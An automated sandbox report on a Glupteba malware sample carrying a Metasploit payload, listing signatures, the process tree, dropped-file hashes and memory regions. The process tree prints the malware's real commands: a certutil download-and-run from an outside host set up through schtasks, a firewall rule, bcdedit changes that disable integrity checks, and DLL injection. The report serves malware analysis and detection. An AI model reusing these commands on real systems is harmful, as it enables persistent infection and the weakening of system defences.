Analysis

  • max time kernel
    0s
  • max time network
    132s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    05/02/2024, 21:56

General

  • Target
    9318e5cf71ad9673b85ee4f916aab022.exe
  • Size 4.4MB
  • Sample240205-1ta9ssbbgl
  • SHA256 f98cd274386ef966648db3d0c5c8b09e6833cf04931116ed5374989e419f3077
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • metasploit

Version
  • windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 18 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Modifies boot configuration data using bcdedit 1 TTPs 14 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Possible attempt to disable PatchGuard 2 TTPs

    Rootkits can use kernel patching to embed themselves in an operating system.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • GoLang User-Agent 3 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

Processes

  • C:\Users\Admin\AppData\Local\Temp\9318e5cf71ad9673b85ee4f916aab022.exe
    "C:\Users\Admin\AppData\Local\Temp\9318e5cf71ad9673b85ee4f916aab022.exe"
    1⤵
      PID:1868
      • C:\Users\Admin\AppData\Local\Temp\9318e5cf71ad9673b85ee4f916aab022.exe
        "C:\Users\Admin\AppData\Local\Temp\9318e5cf71ad9673b85ee4f916aab022.exe"
        2⤵
          PID:2720
          • C:\Windows\system32\cmd.exe
            C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
            3⤵
              PID:2372
              • C:\Windows\system32\netsh.exe
                netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                4⤵
                • Modifies Windows Firewall
                PID:2440
            • C:\Windows\rss\csrss.exe
              C:\Windows\rss\csrss.exe /124-124
              3⤵
                PID:1468
                • C:\Windows\system32\schtasks.exe
                  schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://spolaect.info/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
                  4⤵
                  • Creates scheduled task(s)
                  PID:108
                • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
                  "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
                  4⤵
                    PID:1508
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:952
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:2292
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -timeout 0
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:572
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:788
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:2408
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:2956
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:2156
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:2864
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:2300
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:972
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:412
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:1472
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:2056
                  • C:\Windows\system32\schtasks.exe
                    schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                    4⤵
                    • Creates scheduled task(s)
                    PID:2192
                  • C:\Windows\system32\bcdedit.exe
                    C:\Windows\Sysnative\bcdedit.exe /v
                    4⤵
                    • Modifies boot configuration data using bcdedit
                    PID:1020
                  • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
                    C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
                    4⤵
                      PID:2068
                    • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                      C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                      4⤵
                        PID:768
                • C:\Windows\system32\makecab.exe
                  "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240205215609.log C:\Windows\Logs\CBS\CbsPersist_20240205215609.cab
                  1⤵
                    PID:2668

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        download.error

                        • Path C:\Users\Admin\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\AAF33CF37E194E98957768CF9C02DE8E2\download.error
                        • Size 106KB
                        • SHA256 fd44524a68d33b2fe05dbbebd1f006216b995623a9d45c64e8b933817d980537
                        • MD5 SHA1 SHA512 SSDEEP

                        download.error

                        • Path C:\Users\Admin\AppData\Local\Temp\Symbols\winload_prod.pdb\768283CA443847FB8822F9DB1F36ECC51\download.error
                        • Size 125KB
                        • SHA256 35d0e02e14d7fb68785ed86b8514ce449003de17265db47b2791fa5c9b8aedac
                        • MD5 SHA1 SHA512 SSDEEP

                        dsefix.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
                        • Size 94KB
                        • SHA256 414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0
                        • MD5 SHA1 SHA512 SSDEEP

                        injector.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                        • Size 111KB
                        • SHA256 8a93c8e3e5b14f5d069df9fdb702d60524d9075ac81ac7f04677278cae6c409a
                        • MD5 SHA1 SHA512 SSDEEP

                        patch.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
                        • Size 111KB
                        • SHA256 19351f265f2dbfd582a1e4a33eb8f1b00bd97b185becc02111fbb14081da48d1
                        • MD5 SHA1 SHA512 SSDEEP

                        ntkrnlmp.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
                        • Size 92KB
                        • SHA256 51e509f6f154fa45c508e3ff114934ce640d800efcc6b817dc8dd1083c1906ce
                        • MD5 SHA1 SHA512 SSDEEP

                        osloader.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\osloader.exe
                        • Size 138KB
                        • SHA256 b8312718532e2e4957f267f4a7dbdf4e39582ef5e8fae99875c3a95611c4af5f
                        • MD5 SHA1 SHA512 SSDEEP

                        94308059B57B3142E455B38A6EB92015

                        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
                        • Size 53KB
                        • SHA256 011ed39b0f16d3280e9a99611d9a6f700ac154277607eb817e9bc2543147d03e
                        • MD5 SHA1 SHA512 SSDEEP

                        F0ACCF77CDCBFF39F6191887F6D2D357

                        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357
                        • Size 1KB
                        • SHA256 df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e
                        • MD5 SHA1 SHA512

                        94308059B57B3142E455B38A6EB92015

                        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
                        • Size 344B
                        • SHA256 d668e81208cbef1888f54548f0aa934f00dd5ff26727d3ca2b95d5557c0892bc
                        • MD5 SHA1 SHA512

                        94308059B57B3142E455B38A6EB92015

                        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
                        • Size 344B
                        • SHA256 ad93dd0cba0580056ccc8e9e336597dd1e88c4fa908c0725428c7625e9c66cc1
                        • MD5 SHA1 SHA512

                        94308059B57B3142E455B38A6EB92015

                        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
                        • Size 344B
                        • SHA256 c3679afce048542b8778c03f9cdc0ab748dc16623ff1eb7b0be578fec87012af
                        • MD5 SHA1 SHA512

                        F0ACCF77CDCBFF39F6191887F6D2D357

                        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357
                        • Size 242B
                        • SHA256 d41a7b4bcf8be85d5557625ff8b4c6f04beda6fe7dcfd1d3615c55fe86603ae8
                        • MD5 SHA1 SHA512

                        Tar1BFE.tmp

                        • Path C:\Windows\Temp\Tar1BFE.tmp
                        • Size 108KB
                        • SHA256 9ecb837232acfac66a915c2a2ce6d2e1552867f2cf5c8f23bda1eb4eed54a4ef
                        • MD5 SHA1 SHA512 SSDEEP

                        csrss.exe

                        • Path C:\Windows\rss\csrss.exe
                        • Size 297KB
                        • SHA256 cb400454ac4fc7b3472c3cd4492dc445d59872617cb4f1fc116238b7443582cd
                        • MD5 SHA1 SHA512 SSDEEP

                        csrss.exe

                        • Path C:\Windows\rss\csrss.exe
                        • Size 98KB
                        • SHA256 5a103817a0713ac1c56d93a331bedc0e43fc502783d9b8d147e62c0ad6f27e53
                        • MD5 SHA1 SHA512 SSDEEP

                        csrss.exe

                        • Path C:\Windows\rss\csrss.exe
                        • Size 293KB
                        • SHA256 c2c7c9e154a507a1dcfe4f6d8a76fe907b12c430202bf2af2d7170aa4b710eed
                        • MD5 SHA1 SHA512 SSDEEP

                        injector.exe

                        • Path \Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                        • Size 159KB
                        • SHA256 e2f996337ec546ff5defb55ad1eb085f3d88ee966a467ebde9dc8606b50335c5
                        • MD5 SHA1 SHA512 SSDEEP

                        patch.exe

                        • Path \Users\Admin\AppData\Local\Temp\csrss\patch.exe
                        • Size 75KB
                        • SHA256 9692dd03e7c61caa07067daee3b5c8a9b45b8b1abf2018c68509ff9c8da1e112
                        • MD5 SHA1 SHA512 SSDEEP

                        dbghelp.dll

                        • Path \Users\Admin\AppData\Local\Temp\dbghelp.dll
                        • Size 22KB
                        • SHA256 7f97e95d0cb5cbb0a3afbbd9fe6f7aecb612c11c831e5bfaec94a6b51809fae3
                        • MD5 SHA1 SHA512 SSDEEP

                        ntkrnlmp.exe

                        • Path \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
                        • Size 41KB
                        • SHA256 76e49658337dacf7f30a525f2eb9be1000480c63714bbd4f2e57463ca42efbf4
                        • MD5 SHA1 SHA512 SSDEEP

                        ntkrnlmp.exe

                        • Path \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
                        • Size 69KB
                        • SHA256 3bcb362343086fbd636e8129f36b79cac14154d1b6d0db794d7daa9ffcc79450
                        • MD5 SHA1 SHA512 SSDEEP

                        ntkrnlmp.exe

                        • Path \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
                        • Size 130KB
                        • SHA256 68d43f88c0f03a70b2e236953c0d6f85a0621afec1887c02b69cf04e84ffac4c
                        • MD5 SHA1 SHA512 SSDEEP

                        osloader.exe

                        • Path \Users\Admin\AppData\Local\Temp\osloader.exe
                        • Size 30KB
                        • SHA256 a95a3dfb7028f1d0cd999fb77fd33ffe94dd230f628dbb4ec9e2141e59a1879f
                        • MD5 SHA1 SHA512 SSDEEP

                        osloader.exe

                        • Path \Users\Admin\AppData\Local\Temp\osloader.exe
                        • Size 74KB
                        • SHA256 2cc3995c12a2257af96e6498991eef2dbede2bb25cacbf354566d2d39c3c357c
                        • MD5 SHA1 SHA512 SSDEEP

                        osloader.exe

                        • Path \Users\Admin\AppData\Local\Temp\osloader.exe
                        • Size 141KB
                        • SHA256 dcc3ac9b950e90fe389e75893274ae5a2b7610224e1913eef3a7759f3613145d
                        • MD5 SHA1 SHA512 SSDEEP

                        symsrv.dll

                        • Path \Users\Admin\AppData\Local\Temp\symsrv.dll
                        • Size 163KB
                        • SHA256 e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
                        • MD5 SHA1 SHA512 SSDEEP

                        csrss.exe

                        • Path \Windows\rss\csrss.exe
                        • Size 388KB
                        • SHA256 bc9ace05a8afff486409202621363365549acb315a70982d4d168c4254cccda3
                        • MD5 SHA1 SHA512 SSDEEP

                        csrss.exe

                        • Path \Windows\rss\csrss.exe
                        • Size 446KB
                        • SHA256 909a54bb6f6892f487ae3893f2febdb3acff45957243b68230f0c817cdcb856b
                        • MD5 SHA1 SHA512 SSDEEP

                        memory/1468-247-0x0000000000400000-0x00000000030F2000-memory.dmp

                        memory/1468-246-0x0000000000400000-0x00000000030F2000-memory.dmp

                        memory/1468-336-0x0000000000400000-0x00000000030F2000-memory.dmp

                        memory/1468-23-0x0000000000400000-0x00000000030F2000-memory.dmp

                        memory/1468-21-0x0000000004990000-0x0000000004DCC000-memory.dmp

                        memory/1468-335-0x0000000000400000-0x00000000030F2000-memory.dmp

                        memory/1468-334-0x0000000000400000-0x00000000030F2000-memory.dmp

                        memory/1468-238-0x0000000000400000-0x00000000030F2000-memory.dmp

                        memory/1468-239-0x0000000004990000-0x0000000004DCC000-memory.dmp

                        memory/1468-240-0x0000000000400000-0x00000000030F2000-memory.dmp

                        memory/1468-241-0x0000000000400000-0x00000000030F2000-memory.dmp

                        memory/1468-242-0x0000000000400000-0x00000000030F2000-memory.dmp

                        memory/1468-243-0x0000000000400000-0x00000000030F2000-memory.dmp

                        memory/1468-244-0x0000000000400000-0x00000000030F2000-memory.dmp

                        memory/1468-245-0x0000000000400000-0x00000000030F2000-memory.dmp

                        memory/1468-304-0x0000000000400000-0x00000000030F2000-memory.dmp

                        memory/1468-18-0x0000000004990000-0x0000000004DCC000-memory.dmp

                        memory/1468-251-0x0000000000400000-0x00000000030F2000-memory.dmp

                        memory/1508-35-0x0000000140000000-0x00000001405E8000-memory.dmp

                        memory/1508-43-0x0000000140000000-0x00000001405E8000-memory.dmp

                        memory/1868-2-0x0000000004CD0000-0x00000000055F6000-memory.dmp

                        memory/1868-7-0x0000000004CD0000-0x00000000055F6000-memory.dmp

                        memory/1868-6-0x0000000004890000-0x0000000004CCC000-memory.dmp

                        memory/1868-4-0x0000000000400000-0x00000000030F2000-memory.dmp

                        memory/1868-3-0x0000000000400000-0x00000000030F2000-memory.dmp

                        memory/1868-0-0x0000000004890000-0x0000000004CCC000-memory.dmp

                        memory/1868-1-0x0000000004890000-0x0000000004CCC000-memory.dmp

                        memory/2720-5-0x0000000004A40000-0x0000000004E7C000-memory.dmp

                        memory/2720-8-0x0000000004A40000-0x0000000004E7C000-memory.dmp

                        memory/2720-19-0x0000000000400000-0x00000000030F2000-memory.dmp

                        memory/2720-20-0x0000000004A40000-0x0000000004E7C000-memory.dmp

                        memory/2720-9-0x0000000000400000-0x00000000030F2000-memory.dmp